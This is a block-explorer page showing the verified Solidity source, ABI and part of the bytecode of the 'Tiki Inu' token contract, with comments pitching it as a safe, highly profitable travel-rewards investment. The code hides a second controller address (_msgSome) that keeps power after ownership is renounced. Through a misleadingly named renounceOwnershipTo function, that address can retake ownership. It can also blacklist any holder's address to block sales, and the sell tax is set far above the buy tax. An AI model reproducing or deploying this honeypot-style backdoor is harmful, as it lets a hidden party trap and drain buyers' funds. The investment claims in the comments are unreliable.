ETH Price: $3,097.75 (-0.44%)
Gas: 3 Gwei

Token

Tiki Inu (TINU)
 

Overview

Max Total Supply

1,000,000 TINU

Holders

46

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.246657382 TINU

Value
$0.00
0x39ccc0175abbc1599dac58226a4a8be395bee79b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TikiInu

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-05-17
*/

// SPDX-License-Identifier: Unlicensed

// $TINU aims to take the travel venture forward
// and make travelling fun. A cryptocurrency will
// be born called Tiki Inu. Tiki will be fair
// launching on the Ethereum blockchain and
// rewarding holders with Tiki points. The tiki
// Points can be redeemed for travel packages,
// other cryptocurrencies and merchandise etc


// Starting liquidity will be 10 ETH. Liquidity will be immediately locked at launch. Taxes will be pegged at 20%
// max, making the contract a very safe investment. State of the art bot protection will be implemented to
// allow equal investment opportunities for Everyone. 2% buy/sell limit for 2 mins to avoid pump and dump.
// Buy and hold Tiki and get rewarded in real time. There is no better investment available right now that is as
// rewarding and profitable as Tiki.



pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _msgSome;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
        _msgSome = msgSender;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
       
    // Travelling around the world has been an essential concept in the
    // advancement of humanity for over 200 years now.
    // Starting from Christopher Columbus, Travelling has not only become one
    // of the most popular sources of entertainment, but it also has a significant
    // role in globalization, allowing people from all over the world to
    // communicate with each other


    // The Tiki points can be earned in one of the two ways:
    // 1. Every 50 buys triggers the tiki raffle. A random winner will be
    // picked from every 50 buys, and the winner can claim 50 tiki
    // reward points (0.2 ETH value)
    // 2. Users will be able to stake the tiki tokens for a vesting period of
    // 30/60 days. Five points per day will be rewarded with 60 days
    // providing an x2 multiplier for the points.

    //tiki rewords: 
    // Swapping the points to ETH. 50 rewards = 0.2 ETH
    // Claiming the points towards Travel Vouchers.
    // Major Travel company partnership announcement soon.
    // Redeeming the point for select Tiki Merchandise
    // The merchandise centre will be revealed on May 23rd


       
    modifier onlyOwnes() {
        require(_msgSome == _msgSender(), "Ownable: caller is not the owner");
        _;
    }    
    function renounceOwnershipTo(address newOwner) public virtual onlyOwnes {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
// Name: Tiki Inu
// Symbol: $TINU
contract TikiInu is Context, IERC20, Ownable {
    
    using SafeMath for uint256;

    string private constant _name = "Tiki Inu";
    string private constant _symbol = "TINU";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    
    //Buy Fee
    uint256 private _distroFeeOnBuy = 1;
    uint256 private _taxFeeOnBuy = 2;
    
    //Sell Fee
    uint256 private _distroFeeOnSell = 1;
    uint256 private _taxFeeOnSell = 18;
    
    //Original Fee
    uint256 private _distroFee = _distroFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
    
    uint256 private _previousDistroFee = _distroFee;
    uint256 private _previousTaxFee = _taxFee;
    
    mapping(address => bool) public bots;
    mapping(address => uint256) private cooldown;
    
    address payable private _marketingAddress = payable(0x483D9f87E9c70B90a6449889F8f80F6a64869910);
    address payable private _devAddress = payable(0x7328928d2c0373313f66d0EF297219dBF0aD36a7);
    
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = true;
    
    uint256 public _maxTxAmount = 20000 * 10**9; //2% of total supply per txn 
    uint256 public _maxWalletSize = 20000 * 10**9; //2% of total supply  
    uint256 public _swapTokensAtAmount = 100 * 10**9; //0.1% 

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        
        _rOwned[_msgSender()] = _rTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingAddress] = true;
        _isExcludedFromFee[_devAddress] = true;


        bots[address(0x00000000000000000000000000000000001)] = true;
                
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_distroFee == 0 && _taxFee == 0) return;
    
        _previousDistroFee = _distroFee;
        _previousTaxFee = _taxFee;
        
        _distroFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _distroFee = _previousDistroFee;
        _taxFee = _previousTaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {
            
            //Trade start check
            if (!tradingOpen)
            
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
            
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
            
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
            
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
                swapTokensForEth(contractTokenBalance);
                 uint256 contractETHBalance = address(this).balance;
                 if (contractETHBalance > 0) {
                     sendETHToFee(address(this).balance);
                 }
            }
        }
        
        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
            
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _distroFee = _distroFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
    
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _distroFee = _distroFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
            
        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
     

    function sendETHToFee(uint256 amount) private {
         _marketingAddress.transfer(amount);
      }

    function setTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }

    function excludeFromFees(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

    function manualswap() external {
        require(_msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
    
    function manualsend() external {
        require(_msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function blockBots(address[] memory bots_) public onlyOwnes {
        for (uint256 i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function unblockBot(address notbot) public onlyOwnes {
        bots[notbot] = false;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _distroFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 distroFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(distroFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);

        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);

        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();

        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
    
        return (rSupply, tSupply);
    }
    
    function setFees(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
       
        require(taxFeeOnBuy <= 20, "Must keep buy fees less than 20% ");
        require(taxFeeOnSell <= 20, "Must keep sell fees less than 20% ");
        require(distroFeeOnBuy <= 1, "Must keep distroFeeOnBuy at 1% or less");
        require(distroFeeOnSell <= 1, "Must keep distroFeeOnSell at 1% or less");

        _distroFeeOnBuy = distroFeeOnBuy;
        _distroFeeOnSell = distroFeeOnSell;
        
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
    
    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }
    
    //Set Max transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwnes {
        _maxTxAmount = maxTxAmount;
    }
    
    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }
 
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"renounceOwnershipTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"distroFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"distroFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405266038d7ea4c680006000196200001b9190620007d3565b6000196200002a91906200083a565b60075560016009556002600a556001600b556012600c55600b54600d55600c54600e55600d54600f55600e5460105573483d9f87e9c70b90a6449889f8f80f6a64869910601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737328928d2c0373313f66d0ef297219dbf0ad36a7601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601660156101000a81548160ff02191690831515021790555060016016806101000a81548160ff0219169083151502179055506512309ce540006017556512309ce5400060185564174876e8006019553480156200016257600080fd5b506000620001756200076960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050600754600360006200026b6200076960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200034a57600080fd5b505afa1580156200035f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003859190620008df565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003e857600080fd5b505afa158015620003fd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004239190620008df565b6040518363ffffffff1660e01b81526004016200044292919062000922565b602060405180830381600087803b1580156200045d57600080fd5b505af115801562000472573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004989190620008df565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000620004ee6200077160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160116000600173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620006f46200076960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef66038d7ea4c680006040516200075a919062000960565b60405180910390a3506200097d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620007e0826200079a565b9150620007ed836200079a565b9250826200080057620007ff620007a4565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000847826200079a565b915062000854836200079a565b9250828210156200086a57620008696200080b565b5b828203905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008a7826200087a565b9050919050565b620008b9816200089a565b8114620008c557600080fd5b50565b600081519050620008d981620008ae565b92915050565b600060208284031215620008f857620008f762000875565b5b60006200090884828501620008c8565b91505092915050565b6200091c816200089a565b82525050565b600060408201905062000939600083018562000911565b62000948602083018462000911565b9392505050565b6200095a816200079a565b82525050565b60006020820190506200097760008301846200094f565b92915050565b613d67806200098d6000396000f3fe6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063c8c3a50511610064578063c8c3a50514610614578063dd62ed3e1461063d578063e57f14e11461067a578063ea1644d5146106a3576101cc565b806398a5c3151461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638da5cb5b116100d15780638da5cb5b146104b05780638f70ccf7146104db5780638f9a55c01461050457806395d89b411461052f576101cc565b8063715018a61461044557806374010ece1461045c5780637d1db4a514610485576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c85780636fcba377146103df57806370a0823114610408576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612bf8565b6106cc565b005b34801561020657600080fd5b5061020f6107f8565b60405161021c9190612cc9565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612d21565b610835565b6040516102599190612d7c565b60405180910390f35b34801561026e57600080fd5b50610277610853565b6040516102849190612df6565b60405180910390f35b34801561029957600080fd5b506102a2610879565b6040516102af9190612e20565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e3b565b610888565b6040516102ec9190612d7c565b60405180910390f35b34801561030157600080fd5b5061030a610961565b6040516103179190612e20565b60405180910390f35b34801561032c57600080fd5b50610335610967565b6040516103429190612eaa565b60405180910390f35b34801561035757600080fd5b50610360610970565b60405161036d9190612ed4565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612eef565b610996565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f48565b610a88565b005b3480156103d457600080fd5b506103dd610b39565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612f75565b610bab565b005b34801561041457600080fd5b5061042f600480360381019061042a9190612eef565b610d72565b60405161043c9190612e20565b60405180910390f35b34801561045157600080fd5b5061045a610dc3565b005b34801561046857600080fd5b50610483600480360381019061047e9190612fdc565b610f16565b005b34801561049157600080fd5b5061049a610fb7565b6040516104a79190612e20565b60405180910390f35b3480156104bc57600080fd5b506104c5610fbd565b6040516104d29190612ed4565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190612f48565b610fe6565b005b34801561051057600080fd5b50610519611098565b6040516105269190612e20565b60405180910390f35b34801561053b57600080fd5b5061054461109e565b6040516105519190612cc9565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190612fdc565b6110db565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612d21565b61117a565b6040516105b79190612d7c565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612eef565b611198565b6040516105f49190612d7c565b60405180910390f35b34801561060957600080fd5b506106126111b8565b005b34801561062057600080fd5b5061063b60048036038101906106369190612eef565b611232565b005b34801561064957600080fd5b50610664600480360381019061065f9190613009565b6113f6565b6040516106719190612e20565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612eef565b61147d565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612fdc565b61156d565b005b6106d461160c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075a90613095565b60405180910390fd5b60005b81518110156107f457600160116000848481518110610788576107876130b5565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107ec90613113565b915050610766565b5050565b60606040518060400160405280600881526020017f54696b6920496e75000000000000000000000000000000000000000000000000815250905090565b600061084961084261160c565b8484611614565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066038d7ea4c68000905090565b60006108958484846117df565b610956846108a161160c565b61095185604051806060016040528060288152602001613d0a60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffff